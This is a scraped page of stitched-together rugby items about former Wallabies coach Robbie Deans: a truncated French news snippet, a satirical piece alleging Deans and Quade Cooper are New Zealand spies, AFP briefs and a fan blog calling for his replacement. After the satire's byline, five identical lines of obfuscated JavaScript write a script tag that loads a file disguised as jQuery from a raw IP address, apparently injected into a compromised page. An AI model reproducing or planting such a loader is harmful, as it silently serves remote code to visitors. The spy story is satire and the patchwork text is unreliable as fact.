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Harlequins Officialise une Nouvelle Direction Technique : Gilmore et Deans en Tête
Le club de rugby anglais Harlequins a officialisé une restructuration majeure de son équipe technique, visant à redresser la barre après une saison difficile en Premiership. Jason Gilmore, qui assurait l’intérim depuis six mois, est confirmé comme entraîneur principal, tandis que Robbie Deans, ancien sélectionneur des Wallabies, rejoint en tant que directeur de la performance à partir de la…
Cooper, Deans Accused of Rugby Espionage
On the eve of their semi-final clash with New Zealand, the Wallabies squad has been rocked by accusations that its coach and star playmaker are in fact working for the opposition. An anonymous source contacted The Public Apology some months ago and after an in-depth investigation we can exclusively reveal that both Robbie Deans and Quade Cooper were hired several years ago by affluent New Zealand businessmen (there are two) to infiltrate the Wallabies camp and derail their World Cup campaign. ‘Sheep-throat’, as he introduced himself, explained: “We felt we had no option. TheNew Zealandspirit and economy just couldn’t take another hit like after the last five [World Cups].” “We acted as patriots. We felt we would be vindicated when Richie lifted ‘Bill’ at home in front of his fellow New Zealanders.” The plot has in fact been years in the making. Identified as New Zealand’s brightest and best, Cooper was shipped over as a fourteen year old to not only take one of the country’s most coveted jobs, but also seduce one of its most longed-for women. Records reveal that, at the time of entry to Australia, Cooper possessed the astonishing IQ of 187 and was fluent in three languages. Six months later he was the mumbling incoherent criminal we know now. [Ed: Suggestions have been made that he spent the initial six months in an intensive Sydney acting school, but TPA has been unable to confirm this.] [caption id="attachment_1259" align="aligncenter" width="194"] "mumbling, incoherent"[/caption] Being a naturally gifted footballer, Cooper had to unlearn basic skills like tackling, ball control, decision making, and not isolating yourself from team-mates when facing three defenders in front of your own line. He handled his training with aplomb, but still shows moments of his true brilliance in a smoke and mirror tactic employed to confuse the Australian public. “Well he can’t be completely awful all the time can he? People would start to notice," the source said. “We let him take the Reds to the Super-15 crown. I mean, who really cares about it anyway?” With Cooper in place, the placement of the man to bring him in began. This should have been the tricky part, but as Sheep-throat revealed, it was all too easy. “We thought we’d have to bribe a coach or somebody on the board, but then they just went and offered Robbie the job. We couldn’t believe it!” [caption id="attachment_1260" align="aligncenter" width="185"] Deans was mystified to be handed the coaching duties on merit[/caption] There are grumblings, however, that Deans may not be keeping up his end of the bargain. “When we put him in there we told him to play his part convincingly, but we said nothing about winning the Tri-Nations or even making the World Cup semi-final for that matter!” “We would have been quite happy for them to not pass the Pool stages.” So why has Sheep-Throat rolled so close to their plan coming to fruition? “Well when Robbie started to wobble, the whole thing started to take on a whole new shape. There were talks about threatening his family and it started to become sinister and ugly and more about coming up with fresh and disgusting methods of vengeance and less about just messing with the Aussies.” “Plus, I am in love with Will Genia. Have you seen him up close? He is a beautiful man… He deserves to win the World Cup. I just want to watch him dribble that victor’s champagne all over his dark rippling chest…” Australia watch out (Will Genia especially). For the enemy is closer than you think. By Al McClintock document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join(""))
Rugby Union - Giteau relishing World Cup swansong
- Australia centre Matt Giteau is relishing the prospect of a World Cup swansong after a four-year exile from international rugby saw him welcomed back into the Wallabies fold. The 32-year-old France-based star feared he had played his last game in the green and gold jersey until Australian Rugby Union chiefs relaxed eligibility rules regarding overseas players, paving the way for his return. The Toulon star told AFP Friday he is still pinching himself at his return to international rugby, four years after he was controversially axed from the 2011 World Cup squad by then coach Robbie Deans. http://dlvr.it/C3sG3h
Deans backs Cheika to fill Wallabies hot seat
Wellington (AFP) - Former Wallabies coach Robbie Deans on Wednesday endorsed Michael Cheika to take over the Australia job, saying the New South Wales mentor could turn the side into World Cup winners but must curb his fiery behaviour. Source: AFP
Bye, bye Robbie Deans!
Good to see him gone but from an English perspective I believe they will become a lot more dangerous now. And we will be seeing Quade Cooper now!
The Curious Case of Robbie Deans
Robbie Deans is a great man.
I don’t know him personally, but with the scrutiny he entered his coaching role with in Australia which has never left him but only increased each step of the way forward (or backwards sometimes), he has always presented his case honourably, concisely and in a very mature and balanced way. He is articulate enough in his analysis of defeat and to some extent victory as well. For the way he carries himself and the integrity he displays in the office he holds, I call him a great man.
Robbie has never played to the charms of the media or fuelled any speculation concerning himself, his tactics, his team, his selections and anything else that the media and blog-o-sphere tends to pick on with the opportunism of carrion foul. He has in fact always seemed to be the calm and wizened voice of reason and balance in the raging contentions of the day. You would expect that from an accomplished coach who has contributed as much as he has to the game of rugby.
I believe Robbie has suffered, amongst other things, some simple bad luck that ultimately became the wedge between people understanding his overall goals and intentions and how he planned to see us there. I believe in the early stages of his carrier with us, he just didn't have the personnel. For many reasons: injury, under performance, lack of availability etc. But when the pool increased in volume and quality, he for some reason chose to ally himself with those who had a history of not delivering for him – which dumbfounded a lot of people – when there was a groundswell of new and maturing talent now at his disposal. There were also a few veterans we should have done more to keep. This was the baffling issue; the inexplicable reasons as to why he would seemingly have ‘falling outs’ with some of his players, move them on, and no real clear reasons as to why they are no longer being selected (yes Matt Giteau I am looking at you).
Then the final straw we are all waiting for… the Quade Cooper issue. That Cooper was not even in the larger squad at the beginning is clearly a personal matter on Deans part and nothing else. Anyone saying Deans was right in leaving him out is lying to themselves. It was an embarrassing if not disgraceful omission of talent for such a crucial event.
Why is it that a provincial coach (Link) can consistently get the best – both on and off the field – of a player that seems to ‘have an attitude problem’ at national level? Why is it that when he was outspoken about a toxic culture at the Wallabies, there was more of a push to silence him than to actually understand what he was saying and why? Why is it that such an accusation was all but confirmed as a Deans stigma by one of the Legends and undoubted greats of the game (Richie McCaw) in his biography, but largely inconsequential to our consideration of his performance?
On the note of performance, Deans has been clinical in his defining of what is required in terms of performance for his players, why are we not asking the same of him? Were the likes of Eddie Jones (who I believe to be a great coach too) offered such seeming leniencies in their tenures? No.
So if we look at the Robbie Deans issue devoid of emotion and our fondness of him and his perceived virtues we are left with 3-4 and possibly more criteria by which we can determine whether he should go or stay:
Performance (What win/loss percentage are we saying is acceptable)
Strategy and Tactics (what is our performance and track record saying about our strategy and coaches vision?)
Player Management (including performance, culture and also selection i.e. has he selected based on form). Possibly anonymous player satisfaction polling? (I don’t buy that Quade was alone in his feelings. The ones who spoke up in support of Deans did so because of their co-dependence. They seemed cornered really) and then the matter disappeared!
My results would be:
Performance – let his record speak for itself. What? Just below 60%?
Strategy and Tactics – too many losses (winning just 2 of 17 matches against All Blacks is unacceptable)
Player Management – ? anonymous player polling should help illuminate us. I'm sure they back him mostly but all things being considered it would be remiss to not explore all options to try and understand why we are struggling.
Robbie Deans has been a good servant for Australian rugby. I think we all largely agree on this. But with such a record and with the World cup not too far away, are we so unreasonable to be asking for regime change? Are there not just enough competitions looming (Rugby Championships, Spring tour etc) for a new coach to test his new vision? Deans had a good vision for Australian Rugby. We believed this. But that vision has largely been found wanting. Opposition coaches with better visions prevailed.
But sometimes the vision and its fulfilment don’t meet. Best laid plans… Fate was not kind to him in terms of his goals. His vision was sound. But sometimes the vision of a coach isn't enough. Once the results are tallied up and look something like Deans’, action must be taken and a new vision must be pursued. This means our number one task must be to find this new coach and understand then embrace his vision.
Do you know of such a man?
Do you know his name?
Then name him.
And forth he shall come.
